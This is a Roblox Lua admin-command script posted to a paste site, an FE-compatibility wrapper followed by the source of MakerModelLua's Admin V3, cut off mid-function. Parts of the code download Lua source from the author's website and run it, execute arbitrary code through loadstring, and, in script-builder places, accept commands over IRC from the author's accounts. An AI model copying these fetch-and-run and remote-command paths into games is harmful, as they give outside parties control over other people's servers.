· 6 years ago · Jul 25, 2019, 10:44 PM
1if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
2local Player,Mouse,mouse,UserInputService,ContextActionService = owner
3do
4 print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
5 script.Parent = Player.Character
6
7 --RemoteEvent for communicating
8 local Event = Instance.new("RemoteEvent")
9 Event.Name = "UserInput_Event"
10
11 --Fake event to make stuff like Mouse.KeyDown work
12 local function fakeEvent()
13 local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
14 t.connect = t.Connect
15 return t
16 end
17
18 --Creating fake input objects with fake variables
19 local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
20 local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
21 local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
22 CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
23 end}
24 --Merged 2 functions into one by checking amount of arguments
25 CAS.UnbindAction = CAS.BindAction
26
27 --This function will trigger the events that have been :Connect()'ed
28 local function te(self,ev,...)
29 local t = m[ev]
30 if t and t._fakeEvent and t.Function then
31 t.Function(...)
32 end
33 end
34 m.TrigEvent = te
35 UIS.TrigEvent = te
36
37 Event.OnServerEvent:Connect(function(plr,io)
38 if plr~=Player then return end
39 if io.isMouse then
40 m.Target = io.Target
41 m.Hit = io.Hit
42 else
43 local b = io.UserInputState == Enum.UserInputState.Begin
44 if io.UserInputType == Enum.UserInputType.MouseButton1 then
45 return m:TrigEvent(b and "Button1Down" or "Button1Up")
46 end
47 for _,t in pairs(CAS.Actions) do
48 for _,k in pairs(t.Keys) do
49 if k==io.KeyCode then
50 t.Function(t.Name,io.UserInputState,io)
51 end
52 end
53 end
54 m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
55 UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
56 end
57 end)
58 Event.Parent = NLS([==[
59 local Player = game:GetService("Players").LocalPlayer
60 local Event = script:WaitForChild("UserInput_Event")
61
62 local UIS = game:GetService("UserInputService")
63 local input = function(io,a)
64 if a then return end
65 --Since InputObject is a client-side instance, we create and pass table instead
66 Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
67 end
68 UIS.InputBegan:Connect(input)
69 UIS.InputEnded:Connect(input)
70
71 local Mouse = Player:GetMouse()
72 local h,t
73 --Give the server mouse data 30 times every second, but only if the values changed
74 --If player is not moving their mouse, client won't fire events
75 while wait(1/30) do
76 if h~=Mouse.Hit or t~=Mouse.Target then
77 h,t=Mouse.Hit,Mouse.Target
78 Event:FireServer({isMouse=true,Target=t,Hit=h})
79 end
80 end]==],Player.Character)
81 Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
82end
83--[[
84Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
85If you want to know what commands do just go into your game and say ;cmds for a list of
86commands, what they do, examples, rank needed, and more!
87Or, go to http://www.classy-studios.com/V3/Commands.php
88If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
89
90
91TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
92
93--->> DO NOT EDIT THESE SETTINGS <<---
94Well you can but it's a waste of your time. The settings are located in workspace
95in a folder called "MakerModelLua's Settings". You can also use this plugin:
96
97http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
98
99USE REMOTE ADMIN:
100http://www.classy-studios.com/Login/
101Mobile: http://appsto.re/us/hEn7fb.i
102
103
104
105...also... this is open source! No stupid shady module scripts, which means it works in studio!
106
107]]
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
132
133
134local Settings = {
135 Ranks = {
136 ["Owner"] = {514800472};
137 ["Admin"] = {};
138 ["Member"] = {};
139 ["Banned"] = {};
140 ["Crashed"] = {};
141 ["Muted"] = {};
142 };
143
144 Prefix = ";";
145 Bet = " ";
146 MinimumAge = 0;
147 ServerLocked = false;
148 ColorScheme = "White";
149 TransparencyScheme = 50;
150 Fun = true;
151 EnableAdminMenu = true;
152 EnableTaskBar = true;
153 FreeAdmin = false;
154 Font = "Arial";
155
156 DisableAbuse = false;
157 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
158 AbusableGear = {};
159
160 LinkedAccount = "";
161 DataKey = "";
162
163 ExecuteNotificationSound = 0; --177578949
164 EnableSounds = true;
165
166 VIPMemberID = 0;
167 VIPAdminID = 0;
168
169 GroupID = 0;
170 GroupBanRank = 0;
171 GroupMemberRank = 0;
172 GroupAdminRank = 0;
173 GroupOwnerRank = 0;
174 GroupRankBan = 0;
175 BannedGroupIDs = {};
176
177 IRCServer = "";
178 IRCChannel = "";
179 IRCCommandExecuters = {};
180
181 TrelloToken = ""
182}
183
184local Colors = {
185 ["WHITE"] = Color3.new(1,1,1);
186 ["BLACK"] = Color3.new(0,0,0);
187 ["GRAY"] = Color3.new(0.5,0.5,0.5);
188 ["RED"] = Color3.new(1,0,0);
189 ["GREEN"] = Color3.new(0,1,0);
190 ["BLUE"] = Color3.new(0,0,1);
191 ["YELLOW"] = Color3.new(1,1,0);
192 ["PINK"] = Color3.new(1,0,1);
193 ["MAGENTA"] = Color3.new(1,0,1);
194 ["CYAN"] = BrickColor.new("Cyan").Color;
195 ["TEAL"] = BrickColor.new("Teal").Color;
196 ["BROWN"] = Color3.new(0.55,0.25,0.075);
197 ["PURPLE"] = Color3.new(0.5,0,0.5);
198 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
199}
200
201local Server = {
202 Workspace = game:GetService("Workspace");
203 Players = game:GetService("Players");
204 Lighting = game:GetService("Lighting");
205 MPS = game:GetService("MarketplaceService");
206 TS = game:GetService("TeleportService");
207 HS = game:GetService("HttpService");
208 RS = game:GetService("RunService");
209 PS = game:GetService("PointsService");
210 TestS = game:GetService("TestService");
211 IS = game:GetService("InsertService");
212 Teams = game:GetService("Teams");
213 Data = game:GetService("DataStoreService");
214 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
215 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
216 Storage = game:GetService("ServerStorage");
217 RS = game:GetService("ReplicatedStorage");
218 AS = game:GetService("AssetService");
219}
220
221local Icons = {
222 ["Message"] = 7724351;
223 ["Error"] = 94011556;
224 ["Information"] = 144175130;
225 ["Check"] = 132769976;
226 ["Search"] = 61994930;
227 ["Time"] = 136391033;
228 ["Notice"] = 156507320;
229 ["Sound"] = 164682936;
230 ["Log"] = 70650545;
231 ["Question"] = 41363872;
232 ["Output"] = 11481605;
233 ["Admin"] = 302470270;
234 ["Lock"] = 11341626;
235 ["Settings"] = 131064748;
236 ["Map"] = 257119661;
237 ["Plugin"] = 257097414;
238}
239
240local IRC = {
241 Codes = {
242 ["001"] = "RPL_WELCOME",
243 ["002"] = "RPL_YOURHOST",
244 ["003"] = "RPL_CREATED",
245 ["004"] = "RPL_MYINFO",
246 ["005"] = "RPL_ISUPPORT",
247 ["250"] = "RPL_STATSCONN",
248 ["251"] = "RPL_LUSERCLIENT",
249 ["252"] = "RPL_LUSEROP",
250 ["254"] = "RPL_LUSERCHANNELS",
251 ["255"] = "RPL_LUSERME",
252 ["265"] = "RPL_LOCALUSERS",
253 ["266"] = "RPL_GLOBALUSERS",
254 ["352"] = "RPL_WHOREPLY",
255 ["371"] = "RPL_INFO",
256 ["372"] = "RPL_MOTD",
257 ["374"] = "RPL_ENDINFO",
258 ["375"] = "RPL_MOTDSTART",
259 ["376"] = "RPL_ENDOFMOTD",
260 ["422"] = "ERR_NOMOTD",
261 },
262 Ignore = {
263 ["004"] = true,
264 ["005"] = true,
265 };
266 Users = {};
267 Logs = {};
268 Chats = {};
269 Forms = {};
270 MessageAdded = Instance.new("BindableEvent");
271
272 Servers = {
273 ["esper.net"] = {
274 BaseUrl = "http://webchat.esper.net/";
275 DynamicUrl = "";
276 };
277 ["quakenet.org"] = {
278 BaseUrl = "http://webchat.quakenet.org/";
279 DynamicUrl = "dynamic/leibniz",
280 };
281 ["swiftirc.net"] = {
282 BaseUrl = "http://qwebirc.swiftirc.net/";
283 DynamicUrl = "",
284 };
285 };
286 NickName = "rbxMMLV3_"..math.random(1,100000);
287
288 SessionCounter = 0;
289 Connected = false;
290 Stop = false;
291 SessionID = "";
292}
293
294local RankHUD = {
295 ["Muted"] = 202180094;
296 ["Non-Admin"] = 202180121;
297 ["Member"] = 202180052;
298 ["Admin"] = 202180015;
299 ["Owner"] = 202179988;
300}
301
302local TextConverter = {
303 LetterSounds = {
304 ["a"] = {223757826, nil}; -- 203343899
305 ["b"] = {223533700, 0.2}; -- 203344029
306 ["c"] = {223533711, nil}; -- 203343994
307 ["d"] = {223757910, nil}; -- 203398237
308 ["e"] = {223758026, nil}; -- 203398295
309 ["f"] = {223777655, nil}; -- 203398347
310 ["g"] = {223777738, nil}; -- 203398372
311 ["h"] = {223777757, nil}; -- 203398397
312 ["i"] = {223777807, nil}; -- 203398422
313 ["j"] = {223782888, nil}; -- 203398450
314 ["k"] = {223533711, nil}; -- 203343994
315 ["l"] = {223782961, 0.4}; -- 203398541
316 ["m"] = {223782992, nil}; -- 203398578
317 ["n"] = {223783063, nil}; -- 203398599
318 ["o"] = {223783184, nil}; -- 203398611
319 ["p"] = {223783235, nil}; -- 203398727
320 ["q"] = {223783260, nil}; -- 203398755
321 ["r"] = {223783305, 0.2}; -- 203398792
322 ["s"] = {223783377, nil}; -- 203398806
323 ["t"] = {223783446, nil}; -- 203398850
324 ["u"] = {223783512, nil}; -- 203398872
325 ["v"] = {223783654, nil}; -- 203398965
326 ["w"] = {223783697, nil}; -- 203398984
327 ["x"] = {223783796, nil}; -- 203399008
328 ["y"] = {223783853, nil}; -- 203399043
329 ["z"] = {223783893, nil}; -- 203399096
330
331 ["ch"] = {223784367, 0.3}; -- 203592149
332 ["th"] = {223788235, 0.3}; -- 203399215
333 ["sh"] = {223784505, 0.2}; -- 203399566
334 ["wh"] = {223784555, 0.3}; -- 203622828
335 ["oo"] = {223784456, 0.3}; -- 203399743
336 ["ing"] = {223784393, 0.3}; -- 203402836
337 };
338
339 LongVowels = {
340 ["a"] = {223533687, nil}; -- 203343932
341 ["e"] = {223777620, nil}; -- 203398314
342 ["i"] = {223777855, nil}; -- 203398440
343 ["o"] = {223783212, nil}; -- 203398619
344 ["u"] = {223783572, nil}; -- 203398897
345 };
346
347 Pronounce = {
348 ["0"] = "zero";
349 ["1"] = "wun";
350 ["2"] = "too";
351 ["3"] = "three";
352 ["4"] = "four";
353 ["5"] = "five";
354 ["6"] = "six";
355 ["7"] = "seven";
356 ["8"] = "eyt";
357 ["9"] = "nine";
358 ["one"] = "wun";
359 ["two"] = "too";
360 ["eight"] = "eyt";
361 ["eigh"] = "ey";
362 ["gh"] = "h";
363 ["kn"] = "n";
364 ["come"] = "cu".."m";
365 ["bye"] = "bi";
366 ["#"] = "hashtag";
367 ["@"] = "at";
368 ["&"] = "and";
369 ["*"] = "astrict";
370 ["mn"] = "m";
371 ["kn"] = "n";
372 ["ies"] = "ees";
373 };
374
375 NonEnglishRules = {
376 ["to"] = "too";
377 ["you"] = "yoo";
378 ["we"] = "wee";
379 ["are"] = "erh";
380 ["your"] = "yoor";
381 ["you're"] = "yoor";
382 ["youre"] = "yoor";
383 ["pizza"] = "peetzoh";
384 ["ok"] = "okay";
385 ["have"] = "hav";
386 ["my"] = "mi";
387 ["me"] = "mee";
388 ["u"] = "yoo";
389 ["r"] = "erh";
390 ["move"] = "moov";
391 ["dove"] = "duv";
392 ["debris"] = "debree";
393 ["do"] = "doo";
394 }
395}
396
397local HTMLDecode = {
398 ["35"] = "#";
399 ["36"] = "$";
400 ["37"] = "%%";
401 ["38"] = "*";
402 ["39"] = "'";
403 ["58"] = ":";
404 ["59"] = ";";
405 ["60"] = "<";
406 ["62"] = ">";
407}
408
409
410local Assets = {
411 Packages = {
412 [27112438] = {27112025,27112039,27112052,27112056,27112068};
413 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
414 [77518833] = {77518564,77518616,77518654,77518696,77518737};
415 [32336368] = {32336059,32336117,32336182,32336243,32336306};
416 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
417 [54116460] = {54116290,54116338,54116373,54116394,54116432};
418 [39977366] = {39976703,39976829,39976927,39977192,39977295};
419 [32357766] = {32357663,32357631,32357619,32357584,32357558};
420 [27123973] = {27121265,27121306,27121353,27121393,27121432};
421 [55717536] = {55717271,55717330,55717388,55717434,55717491};
422 [28279963] = {28279160,28279217,28279859,28279894,28279938};
423 [27403592] = {27402580,27402546,27402641,27402714,27402742};
424 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
425 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
426 [48474394] = {48474356,48474294};
427 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
428 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
429 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
430 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
431 [33378577] = {33378366,33378438,33378484,33378522,33378540};
432 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
433 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
434 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
435 [41851073] = {41850825,41850868,41850915,41851009,41850959}
436 };
437 AssetTypes = {
438 [0] = "Product";
439 [1] = "Image";
440 [2] = "T-Shirt";
441 [3] = "Audio";
442 [4] = "Mesh";
443 [5] = "Lua";
444 [6] = "HTML";
445 [7] = "Text";
446 [8] = "Hat";
447 [9] = "Place";
448 [10] = "Model";
449 [11] = "Shirt";
450 [12] = "Pants";
451 [13] = "Decal";
452 [16] = "Avatar";
453 [17] = "Head";
454 [18] = "Face";
455 [19] = "Gear";
456 [21] = "Badge";
457 [22] = "Group Emblem";
458 [24] = "Animation";
459 [25] = "Arms";
460 [26] = "Legs";
461 [27] = "Torso";
462 [28] = "Right Arm";
463 [29] = "Left Arm";
464 [30] = "Left Leg";
465 [31] = "Right Leg";
466 [32] = "Package";
467 [33] = "YouTube Video";
468 [34] = "Game Pass";
469 [38] = "Plugin";
470 [39] = "SolidModel";
471 [40] = "MeshPart";
472 [41] = "Hair Accessory";
473 [42] = "Face Accessory";
474 [43] = "Neck Accessory";
475 [44] = "Shoulder Accessory";
476 [45] = "Front Accessory";
477 [46] = "Back Accessory";
478 };
479 AccessoryTypes = {
480 ["all"] = 19;
481 ["hats"] = 9;
482 ["hair"] = 20;
483 ["face"] = 21;
484 ["neck"] = 22;
485 ["shoulder"] = 23;
486 ["front"] = 24;
487 ["back"] = 25;
488 ["waist"] = 26;
489 };
490}
491
492local CharacterCache = {
493 {"MakerModelLua", 38837082};
494 {"LuaModelMaker", 20920633};
495 {"builderman", 156};
496 {"Shedletsky", 261};
497 {"Telamon", 13645};
498 {"ROBLOX", 1};
499}
500
501local FaceCovert = {
502 Left = "xpos";
503 Right = "xneg";
504 Front = "zpos";
505 Back = "zneg";
506 Top = "ypos";
507 Bottom = "yneg";
508}
509
510local Meshes = {
511 ["crown"] = {1, 1078075};
512 ["king"] = {1, 11419761};
513 ["teapot"] = {0.03, 1029523};
514 ["apple"] = {2.5, 16190555};
515 ["potato"] = {1, 25268275};
516 ["panda"] = {0.5, 20709221};
517 ["dominus"] = {0.5, 21057410};
518 ["fedora"] = {0.75, 13640868};
519 ["noob"] = {1, 20929341};
520 ["knife"] = {0.3, 121944778};
521 ["book"] = {0.3, 1136139};
522}
523
524local NotifySounds = {
525 ["Hover"] = 223134269;
526 ["Select"] = 292141227;
527}
528
529local Trello = {
530 TrelloInfoCard = "x1rUtwEj";
531 MainBoard = {};
532 RequiredLists = {};
533 RankChecklistCache = {};
534 ToggleChecklist = nil;
535 CommandID = nil;
536 LastCommandDT = 0;
537 AdminBoardID = "577ea1b21cb7975666524f26";
538 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
539 RemoteDataCard = "dLtMo1en"
540}
541
542local ScriptBuilders = {
543 [260897989] = "MML's";
544 [21053279] = "Anti's pub";
545 [21053219] = "Anti's pri";
546 [20279777] = "Void's 1";
547 [437965235] = "Void's 2";
548 [227015991] = "Vox's";
549 [210101277] = "Master's";
550 [531937877] = "Bleu pigs";
551 [519251450] = "Game's";
552}
553
554-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
555-- Why else would I NOT have put it in a module?!?!?
556
557local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
558
559local SoundList,GlobalSoundList = {},{}
560local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
561local TempChatLogs = {}
562local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
563local NoSpeak = false
564
565local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
566local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
567
568local ChatLogs,CommandLogs = {},{}
569local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
570local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
571local Dispose,Jails,PermCommandBars = {},{},{}
572local Waypoints = {["Center"] = Vector3.new(0,0,0)}
573local Objects = {}
574local Sound = nil
575local ModLighting = false
576local DataReady = true
577local RemoteAbuseGear = {}
578
579local GameOwner = "[ Client ]"
580local PlaceName = "Unknown"
581local PlaceInfo = {}
582local IsStudio = false
583local IsSB = false
584local Date = nil
585local Fonts = {}
586local PendingRequests = {}
587local F3X = script:FindFirstChild("F3X Tools")
588local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
589local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
590local KeyBinds = {}
591local Crowns = {}
592local LastKeys = {}
593local Cars = {}
594local StringReplacements = {}
595local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
596local NoBet = {"/", "-", "(", ")", ""}
597local ShouldFilter = true
598
599local CrownStorage = script:FindFirstChild("CrownStorage")
600if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
601
602-- import old settings just in case --
603local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
604if OldSettings then
605 OldSettings = require(OldSettings)
606
607 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
608 Settings[ValName] = OldSettings[ValName]
609 end
610 Settings.GroupBanRank = OldSettings.RankBan
611 Settings.Fun = OldSettings.FUN
612end
613
614if F3X then
615 F3X = F3X:Clone()
616 F3X.Handle.Anchored = false
617 script:FindFirstChild("F3X Tools"):Destroy()
618end
619
620wait(0.1)
621
622local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
623-- tries to defualt to server storage, just in case an exploiter makes their own settings.
624
625if SettingsValues then
626 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
627 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
628 for _,Value in pairs(SettingsValues:GetChildren()) do
629 if Settings[Value.Name] ~= nil then
630 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
631 for _,NewValue in pairs(Value:GetChildren()) do
632 if ypcall(function() return NewValue.Value end) then
633 if Settings[Value.Name][NewValue.Name] then
634 local Val = NewValue.Value
635 if type(Settings[Value.Name][NewValue.Name]) == "table" then
636 Val = {}
637 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
638 table.insert(Val, Word)
639 end
640 end
641 Settings[Value.Name][NewValue.Name] = Val
642 end
643 end
644 end
645 else
646 if Settings[Value.Name] ~= nil then
647 local Val = Value.Value
648 if type(Settings[Value.Name]) == "table" then
649 Val = {}
650 for Word in string.gmatch(Value.Value, "%w+") do
651 table.insert(Val, Word)
652 end
653 end
654 Settings[Value.Name] = Val
655 end
656 end
657 end
658 end
659 end
660end
661
662if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
663 Settings.LinkedAccount = ""
664elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
665 Settings.LinkedAccount = "Admin"
666end
667
668local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
669local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
670
671wait(1)
672
673local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
674
675if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
676
677if not IsStudio then
678 Server.NS = game:GetService("NetworkServer")
679 script.Name = "Maker".."Mo".."delLua's Admin"
680end
681
682if game.PlaceId > 0 then
683 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
684 PlaceName = PlaceInfo.Name
685end
686
687local function GetGameOwner()
688 if PlaceInfo.Creator.CreatorType == "Group" then
689 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
690 print("MML's Admin: Found group owner for game: "..GameOwner)
691 elseif PlaceInfo.Creator.CreatorType == "User" then
692 GameOwner = PlaceInfo.Creator.Name
693 print("MML's Admin: Found game owner: "..GameOwner)
694 else
695 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
696 end
697end
698
699if string.byte(string.sub(PlaceName,1,1)) == 226 then
700 PlaceName = string.sub(PlaceName,4,#PlaceName)
701end
702for i = 1,5 do
703 if GameOwner == "[ Client ]" then
704 print("MML's Admin: Attempting to establish owner's name #"..i)
705 GetGameOwner()
706 wait(1)
707 end
708end
709
710if ScriptBuilders[PlaceID] or NLS then
711 IsSB = true
712end
713
714if IsSB then
715 ShouldFilter = false
716 Settings.IRCServer = "swiftirc.net";
717 Settings.IRCChannel = "#PkamaraSB";
718 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
719 if Settings.TrelloToken == "" then
720 Settings.LinkedAccount = "ScriptBuilder"
721 end
722 if Settings.DataKey == "" then coroutine.wrap(function()
723 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
724 local Key = Server.Storage:FindFirstChild("MML DataKey")
725 print("Found key: "..Key.Value)
726 Settings.DataKey = Key.Value
727 Key:Destroy()
728 end)() end
729end
730local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
731table.insert(Settings.Ranks["Owner"], GameOwner)
732
733for _,Font in pairs(Enum.Font:GetEnumItems()) do
734 Fonts[Font.Name] = Font
735end
736
737local LogClient = script:FindFirstChild("AddClientInfo")
738if LogClient then LogClient:Destroy() end
739LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
740LogClient.OnServerInvoke = function(Player, Info)
741 if Info then
742 for Key,Data in pairs(Info) do
743 ClientInfo[Player.Name][Key] = Data
744 end
745 end
746end
747
748local function MakeFunction(Type, Name)
749 local Func = script:FindFirstChild(Name)
750 if Func then Func:Destroy() end
751 Func = Instance.new(Type, script) Func.Name = Name
752
753 getfenv()[Name] = Func
754 return Func
755end
756
757MakeFunction("BindableFunction", "ExecuteCommand")
758MakeFunction("RemoteFunction", "ExecuteCommandClient")
759MakeFunction("BindableFunction", "ExecuteCode")
760
761MakeFunction("RemoteFunction", "IsAdmin")
762MakeFunction("RemoteFunction", "AddExploit")
763MakeFunction("BindableFunction", "AddExploitServer")
764MakeFunction("RemoteFunction", "KickClient")
765MakeFunction("RemoteFunction", "ConvertTextToSound")
766
767MakeFunction("RemoteFunction", "KeyPressed")
768MakeFunction("RemoteFunction", "InputKey")
769
770MakeFunction("RemoteFunction", "RankPlayerLocal")
771MakeFunction("BindableFunction", "RankPlayerServer")
772
773--[[
774if NLS then
775 local Value = script:FindFirstChild("Override")
776 LogClient.Parent = game
777 if not Value then
778 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
779 local CloneScript = script:Clone()
780 CloneScript.Disabled = true
781 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
782 CloneScript.Disabled = false
783 CloneScript.Parent = nil
784
785 script:Destroy() script.Disabled = true
786 end
787end
788]]
789
790if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
791
792IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
793
794-- Core functions --
795
796function CORE:FixSettings()
797 for _,Bet in pairs(NoBet) do
798 if Settings.Bet == Bet then
799 Settings.Bet = " "
800 break
801 end
802 end
803 CORE:ChangeBet(Settings.Bet)
804
805 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
806 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
807
808 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
809 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
810 Settings.TransparencyScheme = Settings.TransparencyScheme/100
811
812 if not Fonts[Settings.Font] then
813 Settings.Font = "Arial"
814 end
815end
816
817function CORE:NilPlayer(Player)
818 if Player == nil or type(Player) == "table" then return true else return false end
819end
820
821function CORE:ExecuteResource(ResourceName, Parent, Data)
822 local ReturnScript = nil
823 local Executed = true
824 if script:FindFirstChild("Resources") then
825 local RawResource = script.Resources:FindFirstChild(ResourceName)
826 if RawResource then
827 local Resource = RawResource:Clone()
828 Resource.Disabled = true
829 Resource.Parent = Parent
830 if Data then
831 for Key,Value in pairs(Data) do
832 if Resource[Key] then
833 Resource[Key].Value = Value
834 end
835 end
836 end
837 wait()
838 Resource.Disabled = false
839 ReturnScript = Resource
840 else
841 Executed = false
842 end
843 else
844 Executed = false
845 end
846 if Executed == false then
847 if not Data then Data = {} end
848 local Source = ScriptCache[ResourceName]
849
850 if not Source then
851 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
852 if Source then
853 ScriptCache[ResourceName] = Source
854 end
855 end
856
857 if Data and Source then
858 for Key,Value in pairs(Data) do
859 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
860 end
861 end
862
863 if Source then
864 if NLS then
865 ReturnScript = NLS(Source, Parent)
866 elseif createLocalScriptWithSource then
867 ReturnScript = createLocalScriptWithSource(Source)
868 ReturnScript.Parent = Parent
869 end
870 end
871 end
872 return ReturnScript
873end
874
875function CORE:CreateRemotePropertyReader(Obj, Override)
876 if Server.Workspace.FilteringEnabled == true or Override then
877 local Reader = Instance.new("RemoteFunction", Obj)
878 Reader.Name = "RemotePropertyReader"
879 CORE:ExecuteResource("RemotePropertyReader", Reader)
880 return Reader
881 else
882 return Obj
883 end
884end
885
886function CORE:ReadProperty(Reader, Player, Property)
887 if Reader:IsA("RemoteFunction") then
888 return Reader:InvokeClient(Player, Property)
889 else
890 return Reader[Property]
891 end
892end
893
894function CORE:WriteProperty(Reader, Player, Property, Value)
895 if Reader:IsA("RemoteFunction") then
896 return Reader:InvokeClient(Player, Property, Value)
897 else
898 return Reader[Property]
899 end
900end
901
902
903function CORE:CreateRemoteEvent(Obj, EventName)
904 local Event = Instance.new("RemoteEvent", Obj)
905 Event.Name = "RemoteEvent_"..EventName
906 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
907 return Event
908end
909
910function CORE:HandleEvent(Obj, EventName, Func, NewThread)
911 local function Handle()
912 if Server.Workspace.FilteringEnabled == true then
913 local Event = CORE:CreateRemoteEvent(Obj, EventName)
914 return Event.OnServerEvent:connect(function(Player, ...)
915 Func(...)
916 end)
917 else
918 return Obj[EventName]:connect(Func)
919 end
920 end
921 if NewThread then
922 Spawn(Handle)
923 else
924 Handle()
925 end
926end
927
928function CORE:HandleError(Error, Speaker)
929 local Return = ""
930 if not Error or Error == "" then
931 Return = "Unknown Error"
932 else
933 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
934 end
935 if Speaker then
936 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
937 end
938 return Return
939end
940
941local function ExecuteSafe(Source, Speaker) -- no CORE
942 local Script, Error = loadstring(Source)
943 if Error then
944 return false, CORE:HandleError(Error, Speaker)
945 else
946 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
947 getfenv(Script).Server, getfenv(Script).script = Server,script
948 if Speaker then
949 getfenv(Script).print = function(...)
